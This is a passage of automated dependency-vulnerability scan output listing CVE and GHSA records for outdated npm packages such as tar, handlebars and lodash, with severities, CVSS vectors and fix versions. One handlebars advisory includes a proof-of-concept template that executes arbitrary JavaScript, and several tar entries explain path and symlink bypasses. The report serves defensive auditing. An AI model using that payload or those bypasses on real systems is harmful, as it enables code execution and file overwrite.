5.0.10, 4.4.18'}, {'severity': 'low', 'riskFactors': {'Has fix': {}, 'DoS': {}}, 'cveId': 'PRISMA-2021-0096', 'link': 'https://github.com/npm/node-tar/commit/06cbde5935aa7643f578f874de84a7da2a74fe3a', 'description': 'tar package versions before 6.1.4 are vulnerable to Regular Expression Denial of Service (ReDoS). When stripping the trailing slash from `files` arguments, we were using `f.replace(/\\\\/+$/, \\\'\\\')`, which can get exponentially slow when `f` contains many `/` characters. This is \\"\\"unlikely but theoretically possible\\"\\" because it requires that the user is passing untrusted input into the `tar.extract()` or `tar.list()` array of entries to parse/extract, which would be quite unusual.', 'packageVersion': '2.2.1', 'vector': '', 'packageName': 'tar', 'publishedDate': '2021-08-30T08:44:48Z', 'cvss': 3.5, 'status': 'fixed in 6.1.4'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-37701', 'link': 'https://github.com/advisories/GHSA-9r2w-394v-53qc', 'description': 'The npm package \\"tar\\" (aka node-tar) before versions 4.4.16, 5.0.8, and 6.1.7 has an arbitrary file creation/overwrite and arbitrary code execution vulnerability. node-tar aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary stat calls to determine whether a given path is a directory, paths are cached when directories are created. This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory, where the symlink and directory names in the archive entry used backslashes as a path separator on posix systems. The cache checking logic used both `\\\\` and `/` characters as path separators, however `\\\\` is a valid filename character on posix systems. By first creating a directory, and then replacing that directory with a symlink, it was thus possible to bypass node-tar symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite. Additionally, a similar confusion could arise on case-insensitive filesystems. If a tar archive contained a directory at `FOO`, followed by a symboli', 'packageVersion': '2.2.1', 'vector': 'CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H', 'packageName': 'tar', 'publishedDate': '2021-08-31T17:15:00Z', 'cvss': 8.6, 'status': 'fixed in 6.1.7, 5.0.8, 4.4.16'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-32804', 'link': 'https://github.com/advisories/GHSA-3jfq-g458-7qm9', 'description': 'The npm package \\"tar\\" (aka node-tar) before versions 6.1.1, 5.0.6, 4.4.14, and 3.3.2 has a arbitrary File Creation/Overwrite vulnerability due to insufficient absolute path sanitization. node-tar aims to prevent extraction of absolute file paths by turning absolute paths into relative paths when the `preservePaths` flag is not set to `true`. This is achieved by stripping the absolute path root from any absolute file paths contained in a tar file. For example `/home/user/.bashrc` would turn into `home/user/.bashrc`. This logic was insufficient when file paths contained repeated path roots such as `////home/user/.bashrc`. `node-tar` would only strip a single path root from such paths. When given an absolute file path with repeating path roots, the resulting path (e.g. `///home/user/.bashrc`) would still resolve to an absolute path, thus allowing arbitrary file creation and overwrite. This issue was addressed in releases 3.2.2, 4.4.14, 5.0.6 and 6.1.1. Users may work around this vulnerability without upgrading by creating a custom `onentry` method which sanitizes the `entry.path` or a `filter` method which removes entries with absolute paths. See referenced GitHub Advisory for details. Be aware of CVE-2021-32803 which fixes a similar bug in later versions of tar.', 'packageVersion': '2.2.1', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H', 'packageName': 'tar', 'publishedDate': '2021-08-03T19:15:00Z', 'cvss': 8.1, 'status': 'fixed in 6.1.1, 5.0.6, 4.4.14,...'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-32803', 'link': 'https://github.com/advisories/GHSA-r628-mhmh-qjhw', 'description': 'The npm package \\"tar\\" (aka node-tar) before versions 6.1.2, 5.0.7, 4.4.15, and 3.2.3 has an arbitrary File Creation/Overwrite vulnerability via insufficient symlink protection. `node-tar` aims to guarantee that any file whose location would be modified by a symbolic link is not extracted. This is, in part, achieved by ensuring that extracted directories are not symlinks. Additionally, in order to prevent unnecessary `stat` calls to determine whether a given path is a directory, paths are cached when directories are created. This logic was insufficient when extracting tar files that contained both a directory and a symlink with the same name as the directory. This order of operations resulted in the directory being created and added to the `node-tar` directory cache. When a directory is present in the directory cache, subsequent calls to mkdir for that directory are skipped. However, this is also where `node-tar` checks for symlinks occur. By first creating a directory, and then replacing that directory with a symlink, it was thus possible to bypass `node-tar` symlink checks on directories, essentially allowing an untrusted tar file to symlink into an arbitrary location and subsequently extracting arbitrary files into that location, thus allowing arbitrary file creation and overwrite. This issue was addressed in releases 3.2.3, 4.4.15, 5.0.7 and 6.1.2.', 'packageVersion': '2.2.1', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H', 'packageName': 'tar', 'publishedDate': '2021-08-03T19:15:00Z', 'cvss': 8.1, 'status': 'fixed in 6.1.2, 5.0.7, 4.4.15,...'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-20834', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-20834', 'description': 'A vulnerability was found in node-tar before version 4.4.2 (excluding version 2.2.2). An Arbitrary File Overwrite issue exists when extracting a tarball containing a hardlink to a file that already exists on the system, in conjunction with a later plain file with the same name as the hardlink. This plain file content replaces the existing file content. A patch has been applied to node-tar v2.2.2', 'packageVersion': '2.2.1', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N', 'packageName': 'tar', 'publishedDate': '2019-04-30T19:29:00Z', 'cvss': 7, 'status': 'fixed in 4.4.2, 2.2.2'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-3918', 'link': 'https://github.com/advisories/GHSA-896r-f27r-55mw', 'description': "json-schema is vulnerable to Improperly Controlled Modification of Object Prototype Attributes (\\'Prototype Pollution\\')", 'packageVersion': '0.2.3', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'json-schema', 'publishedDate': '2021-11-13T09:15:00Z', 'cvss': 9, 'status': 'fixed in 0.4.0'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-23807', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23807', 'description': 'This affects the package jsonpointer before 5.0.0. A type confusion vulnerability can lead to a bypass of a previous Prototype Pollution fix when the pointer components are arrays.', 'packageVersion': '4.0.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'jsonpointer', 'publishedDate': '2021-08-31T00:00:00Z', 'cvss': 9.8, 'status': 'fixed in 5.0.0'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2017-15010', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-15010', 'description': 'A ReDoS (regular expression denial of service) flaw was found in the tough-cookie module before 2.3.3 for Node.js. An attacker that is able to make an HTTP request using a specially crafted cookie may cause the application to consume an excessive amount of CPU.', 'packageVersion': '2.3.1', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'tough-cookie', 'publishedDate': '2017-10-04T01:29:00Z', 'cvss': 7.5, 'status': 'fixed in 2.3.3'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-16492', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-16492', 'description': 'A prototype pollution vulnerability was found in module extend <2.0.2, ~<3.0.2 that allows an attacker to inject arbitrary properties onto Object.prototype.', 'packageVersion': '3.0.0', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'extend', 'publishedDate': '2019-02-01T18:29:00Z', 'cvss': 9.8, 'status': 'fixed in 3.0.2, 2.0.2'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}, 'DoS': {}}, 'cveId': 'PRISMA-2021-0169', 'link': 'https://github.com/mishoo/UglifyJS/pull/5134', 'description': 'uglify-js package versions before 3.14.3 are vulnerable to Regular Expression Denial of Service (ReDoS) via minify() function that uses vulnerable regex.', 'packageVersion': '2.7.0', 'vector': '', 'packageName': 'uglify-js', 'publishedDate': '2021-12-23T10:05:50Z', 'cvss': 5.3, 'status': 'fixed in 3.14.3'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}}, 'cveId': 'PRISMA-2022-0005', 'link': 'https://github.com/istanbuljs/istanbuljs/commit/4eceb9eb8b3169b882d74ecc526fb5837ebc6205', 'description': 'istanbul-reports package versions before 3.1.3 are vulnerable to Reverse Tabnabbing. Tabnabbing - \\"it\\\'s the capacity to act on parent page\\\'s content or location from a newly opened page via the backlink exposed by the opener javascript object instance.\\" This vulnerability usually manifests when either The \\"target\\" attribute is used to specify the target location in an anchor tag to open 3rd party URL/resource(s) without including the attribute rel=\\"noopener,noreferrer \\" in the anchor tag.', 'packageVersion': '1.0.0-alpha.8', 'vector': '', 'packageName': 'istanbul-reports', 'publishedDate': '2022-01-25T11:13:51Z', 'cvss': 5.3, 'status': 'fixed in 3.1.3'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2017-16028', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-16028', 'description': 'react-native-meteor-oauth is a library for Oauth2 login to a Meteor server in React Native. The oauth Random Token is generated using a non-cryptographically strong RNG (Math.random()).', 'packageVersion': '1.1.5', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N', 'packageName': 'randomatic', 'publishedDate': '2018-06-04T19:29:00Z', 'cvss': 5.3, 'status': 'fixed in 3.0.0'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2019-20922', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-20922', 'description': 'Handlebars before 4.4.5 allows Regular Expression Denial of Service (ReDoS) because of eager matching. The parser may be forced into an endless loop while processing crafted templates. This may allow attackers to exhaust system resources.', 'packageVersion': '4.0.5', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'handlebars', 'publishedDate': '2020-09-30T18:15:00Z', 'cvss': 7.5, 'status': 'fixed in 4.4.5'}, {'severity': 'high', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'High severity': {}}, 'cveId': 'CVE-2019-20920', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-20920', 'description': "Handlebars before 3.0.8 and 4.x before 4.5.3 is vulnerable to Arbitrary Code Execution. The lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript. This can be used to run arbitrary code on a server processing Handlebars templates or in a victim\\'s browser (effectively serving as XSS).", 'packageVersion': '4.0.5', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:L', 'packageName': 'handlebars', 'publishedDate': '2020-09-30T18:15:00Z', 'cvss': 8.1, 'status': 'fixed in 4.5.3, 3.0.8'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}, 'Remote execution': {}}, 'cveId': 'CVE-2021-23369', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23369', 'description': 'The package handlebars before 4.7.7 are vulnerable to Remote Code Execution (RCE) when selecting certain compiling options to compile templates coming from an untrusted source.', 'packageVersion': '4.0.5', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'handlebars', 'publishedDate': '2021-05-06T15:57:44Z', 'cvss': 9.8, 'status': 'fixed in 4.7.7'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-23383', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23383', 'description': 'The package handlebars before 4.7.7 are vulnerable to Prototype Pollution when selecting certain compiling options to compile templates coming from an untrusted source.', 'packageVersion': '4.0.5', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'handlebars', 'publishedDate': '2021-05-04T09:15:00Z', 'cvss': 9.8, 'status': 'fixed in 4.7.7'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}}, 'cveId': 'GHSA-2cf5-4w76-r9qv', 'link': '', 'description': 'Versions of `handlebars` prior to 3.0.8 or 4.5.2 are vulnerable to Arbitrary Code Execution. The package\\\'s lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It can be used to run arbitrary code in a server processing Handlebars templates or on a victim\\\'s browser (effectively serving as Cross-Site Scripting). The following template can be used to demonstrate the vulnerability: ```{{#with \\"constructor\\"}} \t{{#with split as |a|}} \t\t{{pop (push \\"alert(\\\'Vulnerable Handlebars JS\\\');\\")}} \t\t{{#with (concat (lookup join (slice 0 1)))}} \t\t\t{{#each (slice 2 3)}} \t\t\t\t{{#with (apply 0 a)}} \t\t\t\t\t{{.}} \t\t\t\t{{/with}} \t\t\t{{/each}} \t\t{{/with}} \t{{/with}} {{/with}}``` ## Recommendation Upgrade to version 3.0.8, 4.5.2 or later.', 'packageVersion': '4.0.5', 'vector': '', 'packageName': 'handlebars', 'publishedDate': '2020-09-04T14:57:38Z', 'cvss': 7, 'status': 'fixed in 4.5.2, 3.0.8'}, {'severity': 'moderate', 'riskFactors': {'Has fix': {}, 'Medium severity': {}, 'DoS': {}}, 'cveId': 'GHSA-f52g-6jhx-586p', 'link': '', 'description': "Affected versions of `handlebars` are vulnerable to Denial of Service. The package\\'s parser may be forced into an endless loop while processing specially-crafted templates. This may allow attackers to exhaust system resources leading to Denial of Service. ## Recommendation Upgrade to version 4.4.5 or later.", 'packageVersion': '4.0.5', 'vector': '', 'packageName': 'handlebars', 'publishedDate': '2020-09-03T23:20:12Z', 'cvss': 4, 'status': 'fixed in 4.4.5'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}}, 'cveId': 'GHSA-g9r4-xpmj-mj65', 'link': '', 'description': 'Versions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to prototype pollution. It is possible to add or modify properties to the Object prototype through a malicious template. This may allow attackers to crash the application or execute Arbitrary Code in specific conditions. ## Recommendation Upgrade to version 3.0.8, 4.5.3 or later.', 'packageVersion': '4.0.5', 'vector': '', 'packageName': 'handlebars', 'publishedDate': '2020-09-04T15:06:32Z', 'cvss': 7, 'status': 'fixed in 4.5.3, 3.0.8'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}}, 'cveId': 'GHSA-q2c6-c6pm-g3gh', 'link': '', 'description': "Versions of `handlebars` prior to 3.0.8 or 4.5.3 are vulnerable to Arbitrary Code Execution. The package\\'s lookup helper fails to properly validate templates, allowing attackers to submit templates that execute arbitrary JavaScript in the system. It is due to an incomplete fix for a [previous issue](https://www.npmjs.com/advisories/1316). This vulnerability can be used to run arbitrary code in a server processing Handlebars templates or on a victim\\'s browser (effectively serving as Cross-Site Scripting). ## Recommendation Upgrade to version 3.0.8, 4.5.3 or later.", 'packageVersion': '4.0.5', 'vector': '', 'packageName': 'handlebars', 'publishedDate': '2020-09-04T15:07:38Z', 'cvss': 7, 'status': 'fixed in 4.5.3, 3.0.8'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}}, 'cveId': 'GHSA-q42p-pg8m-cqh6', 'link': '', 'description': "Versions of `handlebars` prior to 4.0.14 are vulnerable to Prototype Pollution. Templates may alter an Objects\\' prototype, thus allowing an attacker to execute arbitrary code on the server. ## Recommendation For handlebars 4.1.x upgrade to 4.1.2 or later. For handlebars 4.0.x upgrade to 4.0.14 or later.", 'packageVersion': '4.0.5', 'vector': '', 'packageName': 'handlebars', 'publishedDate': '2019-06-05T14:07:48Z', 'cvss': 7, 'status': 'fixed in 3.0.7, 4.0.14, 4.1.2'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Remote execution': {}}, 'cveId': 'CVE-2019-19919', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-19919', 'description': "Versions of handlebars prior to 4.3.0 are vulnerable to Prototype Pollution leading to Remote Code Execution. Templates may alter an Object\\'s __proto__ and __defineGetter__ properties, which may allow an attacker to execute arbitrary code through crafted payloads.", 'packageVersion': '4.0.5', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'handlebars', 'publishedDate': '2019-12-20T23:15:00Z', 'cvss': 9, 'status': 'fixed in 4.3.0'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-23343', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23343', 'description': 'All versions of package path-parse are vulnerable to Regular Expression Denial of Service (ReDoS) via splitDeviceRe, splitTailRe, and splitPathRe regular expressions. ReDoS exhibits polynomial worst-case time complexity.', 'packageVersion': '1.0.5', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'path-parse', 'publishedDate': '2021-05-04T00:00:00Z', 'cvss': 7.5, 'status': 'fixed in 1.0.7'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2019-10744', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-10744', 'description': 'Versions of lodash lower than 4.17.12 are vulnerable to Prototype Pollution. The function defaultsDeep could be tricked into adding or modifying properties of Object.prototype using a constructor payload.', 'packageVersion': '4.13.1', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H', 'packageName': 'lodash', 'publishedDate': '2019-07-26T00:15:00Z', 'cvss': 9.1, 'status': 'fixed in 4.17.12'}, {'severity': 'high', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'High severity': {}}, 'cveId': 'CVE-2020-8203', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-8203', 'description': 'Prototype pollution attack when using _.zipObjectDeep in lodash before 4.17.20.', 'packageVersion': '4.13.1', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H', 'packageName': 'lodash', 'publishedDate': '2020-07-15T17:15:00Z', 'cvss': 7.4, 'status': 'fixed in 4.17.20'}, {'severity': 'medium', 'riskFactors': {'Attack vector: network': {}, 'Has fix': {}, 'Medium severity': {}}, 'cveId': 'CVE-2018-16487', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-16487', 'description': 'A prototype pollution vulnerability was found in lodash <4.17.11 where the functions merge, mergeWith, and defaultsDeep can be tricked into adding or modifying properties of Object.prototype.', 'packageVersion': '4.13.1', 'vector': 'CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L', 'packageName': 'lodash', 'publishedDate': '2019-02-01T18:29:00Z', 'cvss': 5.6, 'status': 'fixed in 4.17.11'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2021-23337', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2021-23337', 'description': 'Lodash versions prior to 4.17.21 are vulnerable to Command Injection via the template function.', 'packageVersion': '4.13.1', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'lodash', 'publishedDate': '2021-02-15T13:15:00Z', 'cvss': 7.2, 'status': 'fixed in 4.17.21'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2019-1010266', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2019-1010266', 'description': 'lodash prior to 4.17.11 is affected by: CWE-400: Uncontrolled Resource Consumption. The impact is: Denial of service. The component is: Date handler. The attack vector is: Attacker provides very long strings, which the library attempts to match using a regular expression. The fixed version is: 4.17.11.', 'packageVersion': '4.13.1', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'lodash', 'publishedDate': '2019-07-17T21:15:00Z', 'cvss': 6.5, 'status': 'fixed in 4.17.11'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-28500', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-28500', 'description': 'Lodash versions prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.', 'packageVersion': '4.13.1', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L', 'packageName': 'lodash', 'publishedDate': '2021-02-15T11:15:00Z', 'cvss': 5.3, 'status': 'fixed in 4.17.21'}, {'severity': 'medium', 'riskFactors': {'Medium severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2018-3721', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2018-3721', 'description': 'lodash node module before 4.17.5 suffers from a Modification of Assumed-Immutable Data (MAID) vulnerability via defaultsDeep, merge, and mergeWith functions, which allows a malicious user to modify the prototype of \\"Object\\" via __proto__, causing the addition or modification of an existing property that will exist on all objects.', 'packageVersion': '4.13.1', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N', 'packageName': 'lodash', 'publishedDate': '2018-06-07T02:29:00Z', 'cvss': 6.5, 'status': 'fixed in 4.17.5'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}, 'DoS': {}}, 'cveId': 'PRISMA-2022-0039', 'link': 'https://github.com/isaacs/minimatch/commit/a8763f4388e51956be62dc6025cec1126beeb5e6', 'description': "minimatch package versions before 3.0.5 are vulnerable to Regular Expression Denial of Service (ReDoS). It\\'s possible to cause a denial of service when calling function braceExpand (The regex /\\\\{.*\\\\}/ is vulnerable and can be exploited).", 'packageVersion': '3.0.2', 'vector': '', 'packageName': 'minimatch', 'publishedDate': '2022-02-21T09:51:41Z', 'cvss': 7.5, 'status': 'fixed in 3.0.5'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-3517', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2022-3517', 'description': 'A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.', 'packageVersion': '3.0.2', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'minimatch', 'publishedDate': '2022-10-17T20:15:00Z', 'cvss': 7.5, 'status': 'fixed in 3.0.5'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-28469', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-28469', 'description': 'This affects the package glob-parent before 5.1.2. The enclosure regex used to check for strings ending in enclosure containing path separator.', 'packageVersion': '2.0.0', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'glob-parent', 'publishedDate': '2021-06-03T16:15:00Z', 'cvss': 7.5, 'status': 'fixed in 5.1.2'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}, 'DoS': {}}, 'cveId': 'PRISMA-2021-0154', 'link': 'https://github.com/ramda/ramda/pull/3212/commits/94d057032c9b3ecf26d9842fbb12c981bda29f4b', 'description': 'ramda package versions before 0.27.2 are vulnerable to Regular Expression Denial of Service (ReDoS). Crafted input to the trim function may cause an application to consume an excessive amount of CPU.', 'packageVersion': '0.24.1', 'vector': '', 'packageName': 'ramda', 'publishedDate': '2021-11-17T09:17:03Z', 'cvss': 5.3, 'status': 'fixed in 0.27.2'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-7608', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2020-7608', 'description': 'yargs-parser could be tricked into adding or modifying properties of Object.prototype using a \\"__proto__\\" payload.', 'packageVersion': '2.4.1', 'vector': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L', 'packageName': 'yargs-parser', 'publishedDate': '2020-03-16T20:15:00Z', 'cvss': 5.3, 'status': 'fixed in 5.0.1'}, {'severity': 'moderate', 'riskFactors': {'Has fix': {}, 'Medium severity': {}}, 'cveId': 'GHSA-64g7-mvw6-v9qj', 'link': 'https://github.com/advisories/GHSA-64g7-mvw6-v9qj', 'description': '### Impact Output from the synchronous version of `shell.exec()` may be visible to other users on the same system. You may be affected if you execute `shell.exec()` in multi-user Mac, Linux, or WSL environments, or if you execute `shell.exec()` as the root user. Other shelljs functions (including the asynchronous version of `shell.exec()`) are not impacted. ### Patches Patched in shelljs 0.8.5 ### Workarounds Recommended action is to upgrade to 0.8.5. ### References https://huntr.dev/bounties/50996581-c08e-4eed-a90e-c0bac082679c/ ### For more information If you have any questions or comments about this advisory: * Ask at https://github.com/shelljs/shelljs/issues/1058 * Open an issue at https://github.com/shelljs/shelljs/issues/new ', 'packageVersion': '0.3.0', 'vector': '', 'packageName': 'shelljs', 'publishedDate': '2022-01-14T21:09:50Z', 'cvss': 4, 'status': 'fixed in 0.8.5'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'Has fix': {}, 'Attack complexity: low': {}, 'Recent vulnerability': {}}, 'cveId': 'CVE-2022-0144', 'link': 'https://github.com/advisories/GHSA-4rq4-32rv-6wp6', 'description': 'shelljs is vulnerable to Improper Privilege Management', 'packageVersion': '0.3.0', 'vector': 'CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H', 'packageName': 'shelljs', 'publishedDate': '2022-01-11T07:15:00Z', 'cvss': 7.1, 'status': 'fixed in 0.8.5'}, {'severity': 'critical', 'riskFactors': {'Critical severity': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2020-7774', 'link': 'https://github.com/advisories/GHSA-c4w7-xm78-47vh', 'description': 'The package y18n before 3.2.2, 4.0.1 and 5.0.5, is vulnerable to Prototype Pollution.', 'packageVersion': '3.2.1', 'vector': 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H', 'packageName': 'y18n', 'publishedDate': '2020-11-17T13:15:00Z', 'cvss': 9.8, 'status': 'fixed in 5.0.5, 4.0.1, 3.2.2'}, {'severity': 'high', 'riskFactors': {'High severity': {}, 'DoS': {}, 'Attack vector: network': {}, 'Has fix': {}, 'Attack complexity: low': {}}, 'cveId': 'CVE-2017-16138', 'link': 'https://nvd.nist.gov/vuln/detail/CVE-2017-16138', 'description': 'The mime module < 1.4.1, 2.0.1, 2.0.2 is vulnerable to regular expression denial of service when a mime lookup is performed on untrusted user input.', 'packageVersion': '1.2.11', 'vector': 'CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H', 'packageName': 'mime', 'publishedDate': '2018-06-07T02:29:00Z', 'cvss': 7.5, 'status': 'fixed in 2.0.3, 1.4.1'}, {'severity': 'medium', 'riskFactors': {'Has fix': {}, 'Medium severity': {}, 'DoS': {}}, 'cveId': 'PRISMA-2022-0097', 'link': 'https://github.com/tapjs/tap-mocha-reporter/commit/50c8c31ed7f6ebf18de4339ee0e64b1558b07e83', 'description': 'tap-mocha-reporter package versions before 5.0.2 are vulnerable to Regular Expression Denial of Service (ReDoS) due to vulnerable return value.', 'packageVersion': '2.0.1', 'vector': '', 'packageName': 'tap-mocha-reporter', 'publishedDate': '2022-03-15T11:44:14Z', 'cvss': 5.3, 'status': 'fixed in 5.0.2'}, {'severity': 'high', 'riskFactors': {'Has fix': {}, 'High severity': {}, 'DoS': {}}, 'cveId': 'PRISMA-2022-0098', 'link': 